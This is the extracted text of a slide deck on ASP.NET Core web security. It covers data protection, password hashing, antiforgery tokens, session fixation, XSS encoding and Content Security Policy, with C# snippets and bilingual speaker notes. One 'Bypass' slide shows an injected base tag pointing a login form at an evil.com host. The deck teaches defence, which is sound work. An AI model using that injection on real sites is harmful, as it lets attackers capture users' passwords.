  • 13. Protect / Unprotect public class HomeController : Controller { private readonly IDataProtector protector; public HomeController(IDataProtectionProvider provider) { protector = provider.CreateProtector("isolation-purpose"); } public IActionResult Index(string input) { var protectedPayload = protector.Protect(input); var unprotectedPayload = protector.Unprotect(protectedPayload); return View(); } } #13
  • 14. Protect / Unprotect public IActionResult Index(string input) { var timeLimitedProtector = protector.ToTimeLimitedDataProtector(); var protectedData = timeLimitedProtector.Protect(input, lifetime: TimeSpan.FromMinutes(30)); return View(); } #14
  • 15. Password Hashing public void StorePassword(SecureString password) { var salt = new byte[128 / 8]; using (var rng = RandomNumberGenerator.Create()) { rng.GetBytes(salt); } var hash = Convert.ToBase64String(KeyDerivation.Pbkdf2( password: password, salt: salt, prf: KeyDerivationPrf.HMACSHA512, iterationCount: 10000, numBytesRequested: 256 / 8)); // store salt and hash to DB... } #15
  • 16. Configuration public void ConfigureServices(IServiceCollection services) { services.AddDataProtection() .SetApplicationName("isolation-name") .SetDefaultKeyLifetime(TimeSpan.FromDays(14)) .PersistKeysToFileSystem(new DirectoryInfo(@"servershare")) .ProtectKeysWithDpapi() .UseCryptographicAlgorithms(new AuthenticatedEncryptionSettings { EncryptionAlgorithm = EncryptionAlgorithm.AES_256_CBC, ValidationAlgorithm = ValidationAlgorithm.HMACSHA256 }); }
  • 18. Under the hood  The default payload protection algorithm used is AES-256-CBC for confidentiality and HMACSHA256 for authenticity. A 512-bit master key, rolled every 90 days  Protected payload format  32-bit magic header  128-bit key id  the part of specific to the encryptor #16
  • 21. Why do we talk about it?  Official documentation was published on 27 March and it has inaccuracies https://docs.microsoft.com/ru-ru/aspnet/core/security/anti- request-forgery  This is an excellent example how to work with cookies! #19
  • 25. AutoValidateAntiforgeryToken public class Startup { public void ConfigureServices(IServiceCollection services) { services.AddMvc(options => options.Filters.Add(new AutoValidateAntiforgeryTokenAttribute())); } } #23
  • 26. ValidateAntiForgeryToken IgnoreAntiforgeryToken [ValidateAntiForgeryToken] public class CustomController : Controller { [HttpPost] [IgnoreAntiforgeryToken] public IActionResult DoSomething(SomeViewModel model) { // no antiforgery token required } } #24
  • 27. Generate AntiForgery tokens automatically <form asp-controller="Account" asp-action="Login" asp-route-returnurl="@ViewData["ReturnUrl"]" method="post" class="form-horizontal"> <h4>Use a local account to log in.</h4> <div asp-validation-summary="All" class="text-danger"></div> <div class="form-group">...</div> </form> <form method="post" class="form-horizontal" action="/Account/Login" novalidate="novalidate"> <h4>Use a local account to log in.</h4> <div class="text-danger validation-summary-valid" data-valmsg-summary="true"> <ul><li style="display: none"></li></ul> </div> <div class="form-group">...</div> <input name="__RequestVerificationToken" type="hidden" value="CfDJ8MNYtGIQJ0NKvmDVDgK_YQ2alNtW7VHnQAVGEoKzZhHQgrj0A0o8L8s9049_Z1ELltvpTkCt978aCpj1 </form> #25
  • 28. Add AntiForgery token explicitly <form action="/" method="post"> @Html.AntiForgeryToken() </form> <input name="__RequestVerificationToken" type="hidden" value="CfDJ8NrAkSldwD9CpLRyOtm6FiJB1Jr_F3FQJQDvhlHoLNJJrLA6zaMUmhjMsisu2D2tFkAiYgyWQawJk9vNm36s #26
  • 29. AJAX, WebAPI, SPAs…  Do you use authentication cookies?  No cookies, no problems… except for stealing a token by XSS  For example, you may use JSON Web Token (JWT)  Yes, I do… Go next page #27
  • 30. AJAX, WebAPI, SPAs… @inject Microsoft.AspNetCore.Antiforgery.IAntiforgery Xsrf @functions{ public string GetAntiXsrfRequestToken() { return Xsrf.GetAndStoreTokens(Context).RequestToken; } } <input type="button" id="antiforgery" value="Antiforgery" /> <script> $("#antiforgery").click(function () { $.ajax({ type: "post", dataType: "html", headers: { "RequestVerificationToken": '@GetAntiXsrfRequestToken()' }, url: '@Url.Action("Antiforgery", "Home")', }); }); #28
  • 32. Under the Hood <form method="post" action="/Home/MyAction"> <div>...</div> <input name="__RequestVerificationToken" type="hidden" value="CfDJ8MNYtGIQJ0NKvmDVDgK_YQ2alNtW7VHnQAVGEoKzZhHQgrj0A0o8L8s9049 </form> https://github.com/aspnet/Antiforgery #30
  • 33. New Token private static readonly RandomNumberGenerator randomNumberGenerator = RandomNumberGenerator.Create(); private static byte[] GenerateNewToken(int bitLength) { var data = new byte[bitLength / 8]; randomNumberGenerator.GetBytes(data); return data; } #31
  • 34. Cookie Attributes: Domain and Path public class ResponseCookies : IResponseCookies { public void Append(string key, string value, CookieOptions options) { var cookieHeaderValue = new SetCookieHeaderValue( Uri.EscapeDataString(key), Uri.EscapeDataString(value)); cookieHeaderValue.Domain = options.Domain; cookieHeaderValue.Path = options.Path; #32
  • 36. Using HttpOnly is enough? cryptoSystem = provider.CreateProtector( "Microsoft.AspNetCore.Antiforgery.AntiforgeryToken.v1"); // ... var bytes = cryptoSystem.Protect(stream.ToArray()); #34
  • 37. Why isn't it enough again? /* The serialized format of the anti-XSRF token is as follows: * Version: 1 byte integer * SecurityToken: 16 byte binary blob * IsCookieToken: 1 byte Boolean * [if IsCookieToken != true] * +- IsClaimsBased: 1 byte Boolean * | [if IsClaimsBased = true] * | `- ClaimUid: 32 byte binary blob * | [if IsClaimsBased = false] * | `- Username: UTF-8 string with 7-bit integer length prefix * `- AdditionalData: UTF-8 string with 7-bit integer length prefix */ #35
  • 40. Overview private string GetMessageFromCacheOrDb() { // check session cache byte[] value; if (HttpContext.Session.TryGetValue("msg", out value)) { return System.Text.Encoding.UTF8.GetString(value); } var valueMessage = GetMessageFromDb(HttpContext.User.Identity.Name); HttpContext.Session.SetString("msg", valueMessage); return valueMessage; } #38
  • 42. Why do we talk about it?  The current implementation has a weakness that can be the cause of Session Fixation attack.  The Session Fixation took 2th prize in OWASP Top 10. #40
  • 43. Demo code private string GetMessageFromCacheOrDb() { // check session cache byte[] value; if (HttpContext.Session.TryGetValue("msg", out value)) { return System.Text.Encoding.UTF8.GetString(value); } var valueMessage = GetMessageFromDb(HttpContext.User.Identity.Name); HttpContext.Session.SetString("msg", valueMessage); return valueMessage; } #41
  • 44.
  • 45. Session Fixation in ASP .NET Core  Don’t store security sensitive data in a session!..  Or die fix it in your project. #43
  • 47. Why do we talk about it?  The XSS is the most popular attack to web applications  https://github.com/OWASP/Top10/tree/master/2017/datacall  https://twitter.com/kochetkov_v/status/857575220160462850  This is a good entry point for other attacks with more impact  Only some people know and correctly use built-in XSS prevention mechanisms #45
  • 48. Same-origin policy (SOP)  URI scheme (http)  Hostname (my-domain.com)  Port number (80) #46
  • 51. Encoding points  HTML  JavaScript  URL  XML  SVG #49
  • 52. Encoding points  HtmlEncoder (@<member> in .cshtml)  JavaScriptEncoder  UrlEncoder  Any sanitizer https://github.com/mganss/HtmlSanitizer #50
  • 53. Content Security Policy (CSP) app.UseMvc(); app.Use(async (context, next) => { context.Response.Headers.Add("Content-Security-Policy", "default-src 'self'; report-uri /cspreport"); await next(); }); #51
  • 54. CSP Report Request public class CspReportRequest { [JsonProperty(PropertyName = "csp-report")] public CspReport CspReport { get; set; } } public class CspReport { [JsonProperty(PropertyName = "document-uri")] public string DocumentUri { get; set; } [JsonProperty(PropertyName = "referrer")] public string Referrer { get; set; } [JsonProperty(PropertyName = "violated-directive")] public string ViolatedDirective { get; set; } [JsonProperty(PropertyName = "effective-directive")] public string EffectiveDirective {get; set;} [JsonProperty(PropertyName = "original-policy")] public string OriginalPolicy { get; set; } [JsonProperty(PropertyName = "blocked-uri")] public string BlockedUri { get; set; } [JsonProperty(PropertyName = "status-code")] public int StatusCode { get; set; } } #52
  • 55. CSP Report Endpoint [HttpPost("~/cspreport")] public IActionResult CspReport([FromBody] CspReportRequest request) { // log and analyze the report... return Ok(); } #53
  • 56. Bypass <base href='http://evil.com/'> <form method="post" class="form-horizontal" action="/Account/Login"> <h4>Use a local account to log in.</h4> <input type="email" id="Email" name="Email" value="" /> <input type="password" id="Password" name="Password" /> <button type="submit">Log in</button> <input name="__RequestVerificationToken" type="hidden" value="CfDJ8MNYtGIQJ0N </form> #54
  • 57. x-xss-protection app.UseMvc(); app.Use(async (context, next) => { context.Response.Headers.Add("x-xss-protection", "1"); await next(); }); #55
  • 58. Summary  Michal Zalewski “Tangled Web. A Guide to Securing Modern Web Applications”  Stan Drapkin “Security Driven .NET”  OWASP Testing Guide v4 #56
  • 59. Questions?! Mikhail Shcherbakov @yu5k3 https://www.linkedin.com/in/mikhailshcherbakov Independent Developer and Consultant The presentation contains footage from Olive Kitteridge

Editor's Notes

  1. Positive Technologies Top 10
  2. https://docs.microsoft.com/en-us/aspnet/core/security/data-protection/configuration/machine-wide-policy
  3. Except: GET HEAD OPTIONS TRACE
  4. Потенциальные проблемы с авторизацией
  5. Why using HttpOnly attribute is not enough?
  6. Set cookie before the server (XSS, Set-Cookie header) В распределенной системе вы должны позаботиться о key store доступный всем серверам
  7. Authentication cookie Session cookie Differences with ASP .NET WebForms/MVC implementation
  8. Упомянуть про script-nonce
  9. https://msdn.microsoft.com/en-us/library/dd565647